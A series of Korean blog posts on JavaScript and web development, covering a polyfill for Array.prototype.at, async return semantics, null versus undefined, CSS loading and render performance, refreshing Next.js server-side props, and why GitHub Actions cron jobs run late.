console.log(iterator.next()) // { value: 1, done: false }
console.log(iterator.next()) // { value: 2, done: false }
console.log(iterator.next()) // { value: 3, done: false }
console.log(iterator.next()) // { value: 5, done: false }
```

---

Source: https://yceffort.kr/2021/02/self-made-javascript-polyfill.md
Title: 나만의 자바스크립트 polyfill 만들고 공부하기
Description: 어디 재밌는 글 없나
Date: 2021-02-15
Tags: javascript

자바스크립트는 새로운 feature 가 제안 되어도, 항상 이전 버전과의 하위호환이 깨지지 않는 선에서 지원이 가능해야 한다. 따라서, 모든 새로운 기능들은 polyfill로 지원이 가능하다. 그러나 이걸 가져다 써보기만 해봤지, 직접 만들어 본적은 없는 것 같다. 그래서 한번 직접 만들어 보려고 한다.

tc39문서를 보다가 새롭게 보게 된 feature 중 하나가 바로 이것이다.

## `Array.prototype.at`

- https://tc39.es/proposal-relative-indexing-method/
- https://github.com/tc39/proposal-relative-indexing-method

`array[0]` 과 비슷 해보이지만, 이것은 파이썬의 그것과 비슷하게 음수까지 지원해 준다. 예컨데, `[-1]`로 인덱싱을 하면 가장 마지막 것을 불러오는 것이다. 이 기능을 한번 polyfill로 구현해보자.

```javascript
function at(n) {
  n = parseInt(n, 10) || 0

  // 음수 일 경우 길이 만큼 더한다. 이렇게 하면 음수 인덱싱을 대응할 수 있다.
  if (n < 0) {
    n += this.length
  }

  // 인덱싱에 대응할 수 없을 경우 undefined를 리턴한다.
  if (n < 0 || n >= this.length) {
    return undefined
  }

  return this[n]
}

for (let T of [Array, String]) {
  Object.definedProperty(T.prototype, 'at', {
    value: at,
    writable: true,
    enumerable: false,
    configurable: true,
  })
}
```

여기서 배울 수 있는 것은 다음과 같다.

### this

정적으로 결정되는 스코프와 다르게, `this`는 어떻게 호출되었는지에 따라서 달라진다. 메서드 this는, 메서드를 호출한 객체, 즉 `.` 연산자 앞에서 호출한 객체가 바인딩 된다.

```javascript
let arr = [1, 2, 3]
arr.at(1)
```

우리는 위와 같은 방식으로 `.at()`을 호출하기 때문에, `at` 함수 내부의 `this`는 `at()`을 호출한 객체인 리스트가 될 것이다.

### prototype

`prototype` 프로퍼티는 함수 객체만이 지닌 프로퍼티다. (그리고 `Array`, `String`은 함수다. 사실 당연 한 거아님?) 이는 생성자 함수가 생성할 인스턴스의 프로토타입을 가리킨다. 생성자 함수가 자신이 생성할 객체의 프로토타입을 할당해주기 위해 사용하는 것으로, 여기에 있는 메소드들은 향후 새롭게 생성되는 객체들의 `__proto__` 또는 `Object.getPrototypeOf`로 접근할 수 있다.

> 모든 Array 인스턴스는 Array.prototype을 상속합니다. 다른 생성자와 마찬가지로, Array() 생성자의 프로토타입을 수정하면 모든 Array 인스턴스도 수정의 영향을 받습니다. 예를 들면, 새로운 메서드와 속성을 추가해 모든 Array를 확장할 수 있으므로, 폴리필에 쓰입니다.

![array-prototype](./images/array-prototype.png)

```javascript
Array.prototype === Object.getPrototypeOf([1, 2, 3]) // true
```

## `definedProperty`

`definedProperty`를 알기 위해서는, property attribute를 알아야 한다. 이는 프로퍼티의 상태를 의미하며, 데이터 프로퍼티와 접근자 프로퍼티가 있다.

- 데이터 프로퍼티: 일반적인 프로퍼티로, 키와 값으로 구성되어 있다.
- 접근자 프로퍼티: 자체적으로 값을 가지고 있지는 않지만, 다른 데이터 프로퍼티의 값을 읽거나 지정할 때 호출되는 접근자 함수로 구성된 프로퍼티

여기에서 우리가 사용해야할 것은 데이터 프로퍼티로, `value` `writable` `enumerable` `configurable`을 값을 가진다. 그리고 `definedProperty`를 통해서, 새로운 프로퍼티를 정의할 수 있다. 나는 `Array` 와 `String`에 각각 지정했다.

## 공식 polyfill과 다른점

### 1. Math.trunc vs parseInt

숫자를 처리하는데 있어 나는 `parseInt`를 썼지만, 저 친구는 `Math.trunc`를 사용했다. 이는 그냥 소수점 이하 단위를 버리는 함수다. 굳이 굳이 비교하면 뭔차이가 있을까 하고 찾아봤는데

https://www.samanthaming.com/tidbits/55-how-to-truncate-number/

> parseInt is mainly used for a string argument. So if you're dealing with numbers, it's way better to use Math.trunc().

뭔가 성능에 있어서 차이가 있나보다. 아쉽게도 `jsPerf`가 뻗어있어서 (2021.02.15 기준) 알수가 없었지만, 아무튼 그런가 보다. 시간나면 해보자.

### 2. 형식화 배열

자바스크립트의 `Indexed Collections`에는 다음과 같은 것들이 있다.

https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects#indexed_collections

- Array
- Int8Array
- Uint8Array
- Uint8ClampedArray
- Int16Array
- Uint16Array
- Int32Array
- Uint32Array
- Float32Array
- Float64Array
- BigInt64Array
- BigUint64Array

https://developer.mozilla.org/ko/docs/Web/JavaScript/Typed_arrays

> JavaScript 형식화 배열(typed array)은 배열같은 객체이고 원시(raw) 이진 데이터에 액세스하기 위한 메커니즘을 제공합니다. 이미 아시다시피, Array 객체는 동적으로 늘었다 줄고 어떤 JavaScript 값이든 가질 수 있습니다. JavaScript 엔진은 이러한 배열이 빨라지도록 최적화를 수행합니다. 그러나, audio 및 video 조작과 같은 기능 추가, WebSocket을 사용한 원시 데이터에 액세스 등 웹 어플리케이션이 점점 더 강력해짐에 따라, 빠르고 쉽게 형식화 배열의 원시 이진 데이터를 조작할 수 있게 하는 것이 JavaScript 코드에 도움이 될 때가 있음이 분명해 졌습니다.

사실 자바스크립트의 배열은 엄밀히 말하면 자료구저의 배열이 아니다. 자료구조의 배열은, 동일한 크기의 메모리 공간이 빈틈없이 연속적으로 나열되어 있어야 한다. (밀집 배열) 그러나 자바스크립트 배열은 희소배열이다. 자바스크립트는 동일한 크기를 연속적으로 확보하는 것이 불가능하므로 (무슨타입이 올줄 알고?) 배열의 동작을 흉내내서 만들었다. 그러나 위에 언급된 `Array`를 제외한 나머지 배열들을 `.from()`으로 만들경우, 진짜 `dense array`, 밀집 배열을 만들 수 있다.

> When Array.from() gets an array-like which isn't an iterator, it respects holes. TypedArray.from() will ensure the result is dense.

물론 Array로도 밀집 배열을 만들 수 있다. https://2ality.com/2012/06/dense-arrays.html

아무튼 지간에 결론은, 자바스크립트에는 저런 배열들도 있으므로, 저런 배열의 prototype에도 마찬가지로 추가를 해줬어야 했다.

---

Source: https://yceffort.kr/2021/02/run-await-return-return-await.md
Title: no return, await, return, await return 의 차이
Description: try catch 블록에서는 동작이 다르네
Date: 2021-02-03
Tags: javascript, async

50% 확률로 reject 되는 아래와 같은 함수가 있다고 가정해보자.

```javascript
async function resolveOrReject() {
  // 1초를 그냥 기다린다.
  await new Promise((_) => setTimeout(_, 1000))

  // 50% 확률로 true false
  const randomResult = Boolean(Math.round(Math.random()))

  if (randomResult) {
    return 'good'
  } else {
    throw Error('bad')
  }
}
```

## 그냥 호출

```javascript
async function a() {
  try {
    resolveOrReject()
  } catch (e) {
    return 'caught!'
  }
}
```

이 경우 `a()`는 1초를 기다리지 않고 언제나 `undefined`를 `fulfilled` (이행) 할 것이다. 우리가 여기에서 `await` 하거나 껼과를 기다리지 않으므로, 실패했을 경우에 대해서 처리를 할 수가 없다. 대부분 이런 코드는 실수일것이다.

## await

```javascript
async function b() {
  try {
    await resolveOrReject()
  } catch (e) {
    return 'caught!'
  }
}
```

이 함수의 경우에는 항상 1초를 기다리며, `undefined`가 오거나 `caught`가 올 것이다. `resolveOrReject`의 결과를 기다리기 때문에, 실패 했을 경우 `catch` 블록을 실행할 수 있게 되었다. 그러나 실패하지 않았을 경우에는 이 값을 가지고 아무것도 하지 않는다.

## return

```javascript
async function c() {
  try {
    return resolveOrReject()
  } catch (e) {
    return 'caught'
  }
}
```

이 경우에도 마찬가지로 1초를 기다리며, 성공할 경우 `good` 이 오고, 실패할 경우에는 `caught`가 오는 것이 아니고 그냥 에러가 던져진다. 따라서 실패할 경우엔 `catch` 블록에 들어가지 않는다는 것을 알 수 있다.

## return await

```javascript
async function d() {
  try {
    return await resolveOrReject()
  } catch (e) {
    return 'caught'
  }
}
```

1초를 기다리며, `good`이 오거나 `caught`가 오게 된다. `resolveOrReject`의 결과를 기다리므로, 에러가 났을 때는 `catch` 블록으로 , 이행이 되었을 경우 정상적으로 결과를 리턴한다.

위 함수를 나누면 이렇게 볼 수 있다.

```javascript
async function d() {
  try {
    // resolveOrReject 의 결과를 기다리며, 결과를 변수에 넣는다.
    const result = await resolveOrReject()
    // 만약 위에서 에러가 던져졌다면, catch 블록으로 넘어간다.
    // 그렇지 않으면, 결과를 리턴한다.
    return result
  } catch (e) {
    return 'caught'
  }
}
```

**이 것은 어디까지나 `try ... catch` 블록에서만 유효하다.** 그 외의 영역에서는 `return await`은 의미하다. `async` 함수 내에 있는 `return await`은 프로미스를 기다렸다가 결과가 나올때까지, 현재의 함수를 콜스택에 넣어두며, 외부 promise가 resolve 되기전에 추가로 마이크로 태스크가 생기게 된다. 따라서 `try ... catch` 블록이 아니라면 단순히 `return something`으로 처리하면 된다.

https://github.com/eslint/eslint/blob/master/docs/rules/no-return-await.md

---

Source: https://yceffort.kr/2021/02/null-vs-undefined.md
Title: null과 undefined의 차이, 그리고 역사
Description: 이런 것 또한 매력이라면 매력이 아니다
Date: 2021-02-02
Tags: javascript

## ECMAScript 언어 명세 상의 차이

- `undefined`: 변수에 값이 할당되지 않았을 때 사용된다. https://tc39.es/ecma262/#sec-undefined-value primitive value used when a variable has not been assigned a value

- `null`: 의도적으로 어떤 객체의 값이 비어 있다는 것을 나타낼 때 사용된다. primitive value used when a variable has not been assigned a value primitive value that represents the intentional absence of any object value

다른 언어와 다르게, 두개의 non-value가 있는 것은 자바스크립트 설계의 실수라고 한다. 그러나 이것이 지금까지 사용되고 있는 것은 자바스크립트가 구버전과의 호환성을 절대로 깨뜨리지 않는 다는 원칙이 있기 때문이다. [비슷한 사례로 `typeof null`이 있다.](https://2ality.com/2013/10/typeof-null.html)

자바스크립트가 많은 영감을 받은 자바에서는, 변수의 정적 타입에 따라 값을 초기화 한다.

- 객체 타입의 변수는 `null`로 초기화 한다.
- 원시 타입의 변수는 각자의 초기 값으로 초기화 한다. 숫자의 경우 0 이다.

자바스크립트의 경우에는, 변수가 객체가 될 수도 있고, 원시값이 될 수도 있다. 그러므로 만약 `null`이 "객체가 아니다" 라면, 자바스크립트는 "객체도 아니고 원시값도 아닌" 초기 값이 필요해 진다. 그것이 바로 `undefined` 다.

## undefined가 나오는 경우

```javascript
// 초기 값을 주지 않은 경우
let var

// 객체에서 정의 하지 않은 속성에 접근하는 경우
const obj = {}
obj.prop

// 함수의 리턴이 없는 경우
function func() {}
assert.equal(func(), undefined)

// 리턴은 있는데 아무것도 안하는 경우
function func() {
  return
}
assert.equal(func(), undefined)

function func(x) {
  assert.equal(x, undefined)
}

// 정의 되지 않은 파라미터
func()

undefined?.prop
null?.prop
```

## null이 나오는 경우

```javascript
// 프로토타입의 종점
Object.getPrototypeOf(Object.prototype) // null

// 정규식
/a/.exec('x') // null

// JSON은 undefined를 지원 하지 않는다.
JSON.stringify({a: undefined, b: null}) // "{"b":null}"
```

## undefined와 null을 특별하게 처리하는 연산자

### 함수 파라미터의 기본값

함수 파라미터의 기본값은 두가지 경우에서만 사용된다.

- 파라미터가 존재하지 않는 경우
- 파라미터의 값이 `undefined`인 경우

```javascript
function func(arg = 'abc') {
  return arg
}
console.log(func()) // abc
console.log(func(undefined)) // abc
console.log(func(null)) // null
```

### 분해연산자의 기본값과 undefined

위의 기본값 예제와 동일하게 동작한다.

```javascript
const [a = 'a'] = [] // a
const [b = 'b'] = [undefined] // b
const {prop: c = 'c'} = {} // c
const {prop: d = 'd'} = {prop: undefined} //d
const [e = 'e'] = [null] // null
const {prop: f = 'f'} = {prop: null} // null
```

### 옵셔널 체이닝

값이 nullish한 경우 (`null` `undefined`) `undefined`를 리턴한다.

```javascript
function getProp(obj) {
  return obj?.prop
}
getProp({prop: 123}) // 123
getProp(undefined) // undefined
getProp(null) // undefined
```

### undefined, null, nullish coalescing (null 병합 연산자)

`||` 와는 다르게 `nullish` 한 값에 대해서만 대응한다.

```javascript
undefined ?? 'default value' // default value
null ?? 'default value' // default value
0 ?? 'default value' // 0
'' ?? 'default value' // ''
```

null 병합 할당 현산자인 `??=` 도 마찬가지로 동작한다.

## 결론(?)

명시적으로 값이 없다는 걸 나타내고 싶다면, `null`을 쓰는게 좋다. `undefined`는 기본값 할당, JSON에서 생략되는 등 의도치 않은 동작을 나타낼 수 있다. 내가 의도적으로 빈값을 두고 싶다면, `null`이 나은 것 같다. 그렇다고 `undefined`가 내가 짠 코드에서 안나오는 것은 아닐 것이다. 말하고 싶은 것은 의도적으로 빈값을 집어 넣을 때 둘중에 `null`을 더 선호한다 정도일 것이다. 그러나 이건 어디까지나 내취향의 문제일 뿐, 적절히 헷갈리지만 않게 쓰면 될 것 같다.

---

Source: https://yceffort.kr/2021/02/css-and-webpage-performance.md
Title: CSS와 웹페이지 성능과의 관계
Description: 내 일이 아니라고 생각하면 관심이 안가더라고
Date: 2021-02-01
Tags: web-performance, css

## Table of Contents

CSS는 웹 페이지의 성능에 영향을 미치는 중요한 요소중 하나다. 그 이유는

1. 브라우저는 렌더 트리를 만들기 전가지 페이지를 렌더링 할 수 없음
2. 렌더트리는 DOM과 CSSOM을 합쳐서 만드는 것
3. DOM은 HTML과 함께 자바스크립트의 실행을 차단함
4. CSSOM 이란 DOM에 적용해야 하는 모든 CSS 규칙을 의미함
5. 자바스크립트는 `async` 와 `defer`로 차단하지 않도록 만드는 것은 쉽지만
6. CSS를 비동기로 처리하는 것은 매우 어렵
7. 따라서 페이지가 가장 느린 스타일 시트가 렌더링 되는 순간에 페이지가 렌더링 된다는 것을 명심해야 한다.

이러한 점을 염두해두고, DOM과 CSSOM을 최대한 빠르게 구성해야 한다. 일반적으로 DOM은 HTML 응답에 따라서 만들어지므로 비교적 빠르다. 그러나 CSS는 거의 대부분 HTML의 하위리소스이기 때문에 CSSOM을 구성하는 것은 일반적으로 시간이 더 걸린다.

## Critical CSS

렌더링 시작 시간을 줄이는 가장 효과적인 방법은 Critical CSS Pattern을 사용하는 것이다. 이는 렌더링 시작에 필요한 모든 스타일 (일반적으로 스크롤 하지 않아도 맨 처음에 필요한 모든 항목에 필요한 스타일)을 의미한다. 문서의 `<head/>`에 `<style/>` 태그로 인라인처리하고, 나머지 스타일 시트는 비동기적으로 로드 하는 방식이다.

물론 이방식은 효과적이지만 간단하지는 않다. 사이트가 엄청나게 동적일 경우, 스타일을 추출하는 것이 어렵다. 또한 프로세스를 자동화 해야 하며, 안보이는 부분에 대한 정의를 내려야 하고, 예외 처리를 하기가 어렵다. 이는 코드가 커질 수록 어렵다.

## 미디어 쿼리로 나누기

현재 컨텍스트 (medium, 스크린크기, 해상도, 방향 등)에 맞는 css를 가장 최우선 순위로 다운로드 하고, 그 외의 것은 나중에 다운로드 하는 방식이다. 기본적으로 현재 뷰를 렌더링하는데 필요하지 않은 CSS는 브라우저에 의해 지연되어 로딩 된다.

```html
<link rel="stylesheet" href="all.css" />
```

이처럼 되어 있는 것을 미디어 쿼리로 분할 할 수 있다면 네트워크가 분할해서 다르게 취급할 것이다.

```html
<link rel="stylesheet" href="all.css" media="all" />
<link rel="stylesheet" href="small.css" media="(min-width: 20em)" />
<link rel="stylesheet" href="medium.css" media="(min-width: 64em)" />
<link rel="stylesheet" href="large.css" media="(min-width: 90em)" />
<link rel="stylesheet" href="extra-large.css" media="(min-width: 120em)" />
<link rel="stylesheet" href="print.css" media="print" />
```

https://caniuse.com/css-mediaqueries 대부분의 브라우저에서 사용할 수 있다.

물론 여전히 브라우저가 모든 css 파일을 다운로드 하긴 하지만, 현재 컨텍스트를 충족하는데 필요한 파일의 렌더링만 차단한다.

## `@import` 사용하지 않기

`@import`는 아무튼 느리다. 그래서 렌더링 성능에 안좋다. `@import`의 작동 과정을 살펴보자.

1. HTML 다운로드
2. HTML이 CSS를 요청
3. CSS가 또 다른 `@import`에 있는 CSS를 요청
4. 이게 다 끝나면 렌더 트리 생성

```html
<link rel="stylesheet" href="all.css" />
```

안에

```css
@import url(imported.css);
```

와 같은 코드가 있다면, 폭포수 형태로 다운로드를 시작할 것이다.

이는 그냥 단순히

```html
<link rel="stylesheet" href="all.css" />
<link rel="stylesheet" href="imported.css" />
```

로 처리한다면 두개를 동시에 병렬화 하여 다운로드 할 것이다. 그런데 현재 파일에서 `@import` 구문을 지울 수 없는 상황이라 할지라도, 저렇게 별개로 따로 선언해주는 것이 좋다. 그렇다고 해서 브라우저가 중복으로 파일을 다운로드 받지 않을 것이다.

## `<link rel="stylesheet" />`를 비동기 코드 전에 두지 않기

**브라우저는 현재 실행중인 CSS가 있을 경우 `<script/>`를 실행하지 않는다.**

```html
<link rel="stylesheet" href="slow-loading-stylesheet.css" />
<script>
  console.log('I will not run until slow-loading-stylesheet.css is downloaded.')
</script>
```

이는 의도된 다분히 의도적인 동작이다. CSS가 다운로드 중이라면, HTML은 어떤 동기 `<script/>`도 실행하지 않는다. 스크립트 태그 내에서 CSS 가 도착하여 파싱되기 전까지 이에 대한 정보를 찾는 경우, Javascript가 응답하는 내용이 잘못될 수도 있다. 이를 방지하기 위해 브라우저는 CSSOM이 구성될 때 까지 `<script/>`를 실행하지 않는다.

따라서 CSS의 다운로드 시간이 비동기 코드에 영향을 미친다는 것이다. 만약 `<link rel="stylesheet" />` 앞에 비동기 코드를 둔다면, 이는 CSS파일이 다운로드 되어 파싱되기 전까지 실행되지 않을 것이다. 이 말인 즉슨 CSS가 모든 작업을 뒤로 미룬다는 뜻이 된다.

```html
<link rel="stylesheet" href="app.css" />

<script>
  var script = document.createElement('script')
  script.src = 'analytics.js'
  document.getElementsByTagName('head')[0].appendChild(script)
</script>
```

이렇게 순서가 주어지면, CSSOM이 생성되기 전까지 자바스크립트 파일이 다운로드 되지 않는 다는 것을 알 수 있다. 이는 구글 애널리틱스와 같이 제 3자 스크립트를 안전하게 로드 하기 위해 비동기 코드를 제공하는 방식이다. 개발자가 이러한 제3자 코드를 코드 맨 뒷부분에 배치 하고 싶은 것은 일반적이다. 그러나 이는 실수가 될 수 있다.

따라서 `<script/>` 내에 css에 의존하는 코드가 없다면, 이를 상단에 배치하는 것이 좋다.

```html
<script>
  var script = document.createElement('script')
  script.src = 'analytics.js'
  document.getElementsByTagName('head')[0].appendChild(script)
</script>

<link rel="stylesheet" href="app.css" />
```

따라서

- CSSOM에 의존하지 않는 자바스크립트는 CSS이전에
- CSSOM에 의존하는 자바스크립트는 이후에

둔다.

파일이 서로 의존적이지 않은 경우, 차단 스크립트를 차단 스타일 위해 배치 해야 한다. 자바스크립트가 실제로 의존하지 않는 CSS때문에 자바스크립트 실행을 지연시킬 필요는 없다. 만약 자바스크립트 중 일부는 CSS에 의존하고, 일부는 그렇지 않는 경우에는 두개로 분할하는 것이 가장 빠른 방식이다.

```html
<!-- This JavaScript executes as soon as it has arrived. -->
<script src="i-need-to-block-dom-but-DONT-need-to-query-cssom.js"></script>

<link rel="stylesheet" href="app.css" />

<!-- This JavaScript executes as soon as the CSSOM is built. -->
<script src="i-need-to-block-dom-but-DO-need-to-query-cssom.js"></script>
```

이러한 로딩 순서를 이용하면, 다운로드와 실행이 모두 최적의 순서로 발생된다.

## `<link rel="stylesheet" />`는 `<body/>`에 위치 시키기

기존 HTTP 1.1 에서는 모든 스타일을 하의 기본 번들로 연결하는 것이 일반적이다.

```html
<!DOCTYPE html>
<html>
  <head>
    <link rel="stylesheet" href="app.css" />
  </head>
  <body>
    <header class="site-header">
      <nav class="site-nav">...</nav>
    </header>

    <main class="content">
      <section class="content-primary">
        <h1>...</h1>

        <div class="date-picker">...</div>
      </section>

      <aside class="content-secondary">
        <div class="ads">...</div>
      </aside>
    </main>

    <footer class="site-footer"></footer>
  </body>
</html>
```

그러나 위 코드는 아래와 같은 비효율성이 있다.

1. 실제 페이지에서 필요한 css는 일부분 이지만, 필요한 것보다 더 많은 `app.css`를 다운로드 하고 있다.
2. 캐시전략이 비효율적이다. 예를 들어서 특정 섹션의 배경색만 변경하기 위해서는, `app.css` 전체의 캐시를 버려야 한다.
3. 현재 페이지에서 `app.css`의 어느정도를 필요로 하든지간에, 전체 내용이 도착하기 전까지 렌더링이 블로킹 된다.

이제 http/2 를 사용하면 1, 2번 문제를 해결할 수 있다.

```html
<!DOCTYPE html>
<html>
  <head>
    <link rel="stylesheet" href="core.css" />
    <link rel="stylesheet" href="site-header.css" />
    <link rel="stylesheet" href="site-nav.css" />
    <link rel="stylesheet" href="content.css" />
    <link rel="stylesheet" href="content-primary.css" />
    <link rel="stylesheet" href="date-picker.css" />
    <link rel="stylesheet" href="content-secondary.css" />
    <link rel="stylesheet" href="ads.css" />
    <link rel="stylesheet" href="site-footer.css" />
  </head>
  <body>
    <header class="site-header">
      <nav class="site-nav">...</nav>
    </header>

    <main class="content">
      <section class="content-primary">
        <h1>...</h1>

        <div class="date-picker">...</div>
      </section>

      <aside class="content-secondary">
        <div class="ads">...</div>
      </aside>
    </main>

    <footer class="site-footer"></footer>
  </body>
</html>
```

이제 모든 것을 다 다운로드 하는 대신에, 페이지에 필요한 css만 다운로드 할 수 있다. 그러면 주요 렌더링 과정에서 차단 CSS의 크기가 줄어든다. 또한 캐시 전략을 보다 신중하게 선택할 수 있다. 캐시가 필요한 파일만 날리고, 나머지는 유지한다.

하지만 여전히 해결하지 못한 점은 이 모든 것이 렌더링을 가로막는 다는 것이다. 여전히 우리 사이트는 가장 느린 스타일시트의 속도에 좌우되고 있다. 그러나 이제 크롬 69버전 이후, 파이어폭스, IE/Edge 등에서 아래와 같은 코드가 가능해진다.

```html
<!DOCTYPE html>
<html>
  <head>
    <link rel="stylesheet" href="core.css" />
  </head>
  <body>
    <link rel="stylesheet" href="site-header.css" />
    <header class="site-header">
      <link rel="stylesheet" href="site-nav.css" />
      <nav class="site-nav">...</nav>
    </header>

    <link rel="stylesheet" href="content.css" />
    <main class="content">
      <link rel="stylesheet" href="content-primary.css" />
      <section class="content-primary">
        <h1>...</h1>

        <link rel="stylesheet" href="date-picker.css" />
        <div class="date-picker">...</div>
      </section>

      <link rel="stylesheet" href="content-secondary.css" />
      <aside class="content-secondary">
        <link rel="stylesheet" href="ads.css" />
        <div class="ads">...</div>
      </aside>
    </main>

    <link rel="stylesheet" href="site-footer.css" />
    <footer class="site-footer"></footer>
  </body>
</html>
```

이를 활용하면 페이지를 점진적으로 렌더링할 수 있다. 자세한 내용은 [여기](https://jakearchibald.com/2016/link-in-body/)를 참조.

## 요약

- 렌더링 시작에 필요하지 않은 CSS 를 지연시킨다.
  - Critical CSS로 분리하거나
  - CSS를 미디어 쿼리로 분리한다.
- `@import`의 사용을 줄인다.
- 동기 CSS와 자바스크립트의 순서에 주의한다.
  - CSS 이후에 있는 자바스크립트는 CSSOM이 구성되기 전까지 실행되지 않는다.
- DOM이 필요로 하는 CSS만 불러온다.
  - 이는 점진적 렌더링을 가능하게 하고, 초기 렌더링을 블록하지 않는다.

---

Source: https://yceffort.kr/2021/01/nextjs-refresh-server-side-props.md
Title: Nextjs에서 Server Side props를 새로고침하기
Description: 항상 감사하십시오 and I also, nextjs 조아
Date: 2021-01-28
Tags: nextjs, frontend

```javascript
import {useRouter} from 'next/router'

export default function IndexPage({time}) {
  const router = useRouter()

  const refreshServerSide = () => {
    router.replace(router.asPath)
  }

  return (
    <>
      <div>Server Side Props Request Time: {time}</div>
      <button onClick={refreshServerSide}>Refresh Server Side</button>
    </>
  )
}

export async function getServerSideProps(context) {
  const currentDateTime = new Date().getTime()
  return {
    props: {time: currentDateTime},
  }
}
```

`getServerSideProps` 의 동작을 상상해본다면 아래와 같을 것이다.

https://yceffort.kr/2020/03/nextjs-02-data-fetching#4-getserversideprops

1. `getServerSideProps`가 있는 사이트 방문
2. nextjs가 `getServerSideProps`를 호출하여 HTML 파일 생성
3. HTML 파일을 사용자가 내려받고, 리액트가 클라이언트에서 처리 (rehydration)

그러나 한가지 nextjs에서 `getServerSideProps`를 클라이언트 사이드에서 처리하는 경우가 있다. 아래와 같은 시나리오를 상상해보자.

1. 유저가 이미 사이트에 있고, next.js의 `Link`를 클릭하여 서버사이드 렌더링 된 페이지에 방문
2. nextjs가 `getServerSideProps`를 서버에 호출하는데, 이전 처럼 HTML파일을 내려주는 대신에 단순히 데이터를 json으로 클라이언트에 전송
3. 리액트가 해당 json을 initial props로 브라우저에서 새 페이지를 렌더링

이 와 같은 과정이 위 예제 코드에서 이루어지고 있다.

최초 페이지 진입시에는 이렇게 완성된 html을 내려준다.

```javascript
<div id="__next">
    <div>Server Side Props Request Time:
      <!-- -->1611794984243</div><button>Refresh Server Side</button>
</div>
```

위 코드로 새로고침하면, 아래와 같은 json데이터만 받는다.

```json
{"pageProps": {"time": 1611795117182}, "__N_SSP": true}
```

> `__N_SSP`는 server side props이라는 뜻이다. https://github.com/vercel/next.js/blob/e819e00d0c0b2d9cd851c2c7215af1211c561932/packages/next/next-server/lib/constants.ts#L39

nextjs의 좋은 점 중 하나는 `getServerSideProps`를 일종의 api 호출처럼 사용할 수도 있다는 것이다. 위에서 사용했던 `router.asPath`는 현재 페이지의 위치를 반환한다. 여기서는 `/` 일 것이다. 이 페이지로 리다이렉트 시켜달라는 뜻은, 즉 page에 해당 데이터를 json으로 내려달라는 말과 동일하다.그리고 `push` 대신 `replace`를 사용하여 히스토리 스택에 쌓이는 것도 방지하였다.

만약 이 경우에 로딩 스피너를 걸어둬야 한다면 어떻게 할까?

```javascript
const [loading, isLoading] = useState(false)

const refreshServerSide = () => {
  router.replace(router.asPath)
  isLoading(true)
}

useEffect(() => {
  isLoading(false)
}, [time])
```

`useEffect` 훅에 서버사이드 props를 넣어주었다.

그리고 이렇게 넘겨 받은 서버사이드 props를 고치고 싶다면, 아래와 같이 처리해주면 된다.

```javascript
export default function IndexPage({time}) {
  const [currentTime, setCurrentTime] = useState(time)
  //...
}
```

---

Source: https://yceffort.kr/2021/01/from-github-workflow-to-firebase-functions.md
Title: GitHub Actions cron이 제시간에 실행되지 않는 이유와 대안
Description: GitHub Actions schedule은 왜 수십 분씩 밀리는가. 구조적 원인과 정시 실행이 가능한 대안 정리.
Date: 2021-01-24
Tags: devops, github

GitHub Actions의 `schedule` 트리거로 cron job을 돌리다가, 실행 시간이 수십 분에서 최대 2시간까지 밀리는 문제를 겪었다. 원인을 찾아보니 버그가 아니라 구조적 한계였고, 결국 Firebase Cloud Functions로 옮겼다. 왜 이런 일이 생기는지, 왜 고쳐지기 어려운지, 그리고 정시 실행이 필요할 때 쓸 수 있는 대안은 무엇이 있는지 정리한다.

## 문제

GitHub Actions의 `schedule` 트리거로 cron job을 돌리고 있었다.

```yaml
name: cron

on:
  schedule:
    - cron: '0 5 * * 1-5'

jobs:
  cron:
    runs-on: ubuntu-latest

    steps:
      - uses: actions/checkout@v2

      - uses: actions/setup-node@v1
        with:
          node-version: '12'
          check-latest: true

      - name: CI
        run: |
          npm ci
      - name: Run Cron
        run: |
          npm run job
```

처음에는 잘 돌아갔다. 그런데 어느 시점부터 실행 시간이 40~50분씩 밀리기 시작했고, UTC 00시(한국 시간 09시)에 걸어둔 작업이 2시간 뒤에야 실행되는 경우도 있었다.

![workflow-cron](./images/workflow-cron.png)

> 00시에 걸어둔 작업이 실제로는 02시 30분에 실행되었다.

나만 겪는 문제는 아니었다.

- https://stackoverflow.com/questions/65132563/why-is-github-actions-workflow-scheduled-with-cron-not-triggering-at-the-right-t
- https://github.community/t/github-actions-on-schedule-executed-in-delay/152972

## 왜 제시간에 실행되지 않는가

GitHub 공식 문서에 답이 있다.

> Note: The `schedule` event can be delayed during periods of high loads of GitHub Actions workflow runs. High load times include the start of every hour. If the load is sufficiently high enough, some queued jobs may be dropped.
>
> — [GitHub Docs: Events that trigger workflows](https://docs.github.com/en/actions/writing-workflows/choosing-when-your-workflow-runs/events-that-trigger-workflows#schedule)

문서가 짧게 쓰여 있어서 보충하면, 지연의 원인은 러너가 아니라 **GitHub 내부의 job 디스패치 단계**에 있다. self-hosted runner를 써도 지연이 발생한다. [한 사례 분석](https://dev.to/devactivity/unpacking-github-actions-delays-when-self-hosted-runners-go-idle-but-workflows-stay-queued-547n)에서 이를 직접 확인할 수 있는데, 내용을 요약하면 이렇다.

- 워크플로우가 `queued` 상태에서 7~8분간 머물렀다.
- GitHub API로 확인한 결과 러너는 `online`, `idle` 상태였고, `runner_id=0` — 즉 러너가 배정되지 않은 상태였다.
- 러너 호스트의 네트워크도 정상이었고, GitHub Actions 브로커로의 연결도 문제없었다.
- 결론: 러너나 네트워크 문제가 아니라, **GitHub의 job 디스패치 또는 브로커 메시징 단계**에서 지연이 발생한 것이다.

러너가 아무리 빨라도 GitHub이 job을 보내주지 않으면 실행이 시작되지 않는다.

여기에 정시 집중 문제가 겹친다. 대다수 레포지토리가 매 시 정각(`:00`)에 cron을 건다. 문서에서도 "high load times include the start of every hour"라고 명시하고 있다. 정각마다 디스패치 큐가 한꺼번에 몰리고, 이 지연은 GitHub Actions 사용량이 늘면서 계속 심해지는 추세다. [커뮤니티 보고](https://github.com/orgs/community/discussions/156282)에 따르면 수개월 사이에 평균 지연이 9분에서 25~30분으로 늘어난 사례도 있다.

그리고 이건 무료 플랜만의 문제가 아니다. 공식 문서 어디에도 유료 플랜(Team, Enterprise)에서 스케줄 실행 타이밍에 대한 SLA를 제공한다는 언급은 없다. 스케줄 트리거는 모든 플랜에서 best-effort다.

## 왜 근본적으로 고치기 어려운가

GitHub Actions는 CI/CD 플랫폼이다. 핵심 가치는 코드 변경에 반응하는 것이지, 정해진 시간에 작업을 실행하는 게 아니다. 공유 러너 풀에 부하가 걸렸을 때, push/PR 이벤트와 스케줄 이벤트 중 어디에 먼저 자원을 배정할지는 플랫폼의 존재 이유를 생각하면 자명하다.

